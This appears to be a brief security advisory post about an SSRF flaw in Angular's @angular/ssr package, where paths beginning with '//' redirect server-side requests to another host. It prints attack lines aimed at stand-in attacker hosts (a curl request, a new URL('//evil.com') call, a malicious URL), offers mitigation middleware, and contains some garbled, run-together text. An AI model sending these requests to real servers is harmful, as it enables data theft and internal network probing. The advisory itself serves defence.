Listen to this Post
The vulnerability is a Server-Side Request Forgery (SSRF) within Angular’s Server-Side Rendering (SSR) package, @angular/ssr. The flaw resides in the `createRequestUrl` function, which utilizes the native JavaScript `URL` constructor. When the incoming request path (like originalUrl) begins with a double forward slash (//) or a double backslash (\\), the `URL` constructor interprets this as a schema-relative URL. This interpretation overrides the security-enforced base URL (containing the intended protocol, host, and port) that is passed as the second argument. Consequently, the URL is resolved using the scheme of the base URL but adopts the hostname supplied by the attacker within the request path. This manipulation tricks the Angular SSR environment into setting the application’s virtual location (accessible via `DOCUMENT` or `PlatformLocation` tokens) to an external, attacker-controlled domain. Any subsequent relative HTTP requests performed during the SSR process, such as HttpClient.get('assets/data.json'), are then incorrectly resolved and sent to the attacker’s specified domain instead of the legitimate application backend.
Platform: Angular SSR
Version: <19.2.18
Vulnerability: SSRF
Severity: Critical
date: 2024
Prediction: Patch available
What Undercode Say:
curl http://localhost:4200//attacker.com/api
// Exploitable URL construction
new URL('//evil.com', 'http://localhost:4200');
// Mitigation middleware
app.use((req, res, next) => {
if (req.originalUrl?.startsWith('//')) {
req.originalUrl = req.originalUrl.replace(/^\/\/+/, '/');
}
next();
});
How Exploit:
Malicious request: http://victim-app.com//attacker-domain.com/path`http://attacker-domain.com/api/data`.
Causes relative resource request for `api/data` to target
Protection from this CVE
Upgrade to patched versions: `@angular/ssr` 19.2.18, 20.3.6, or 21.0.0-next.8.
Implement request sanitization middleware to strip leading double slashes from all incoming request URLs before they are processed by the Angular SSR application.
Impact:
Server-Side Request Forgery leading to potential data exfiltration, internal network probing, or server-side code execution depending on the server’s network permissions and accessible internal services.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
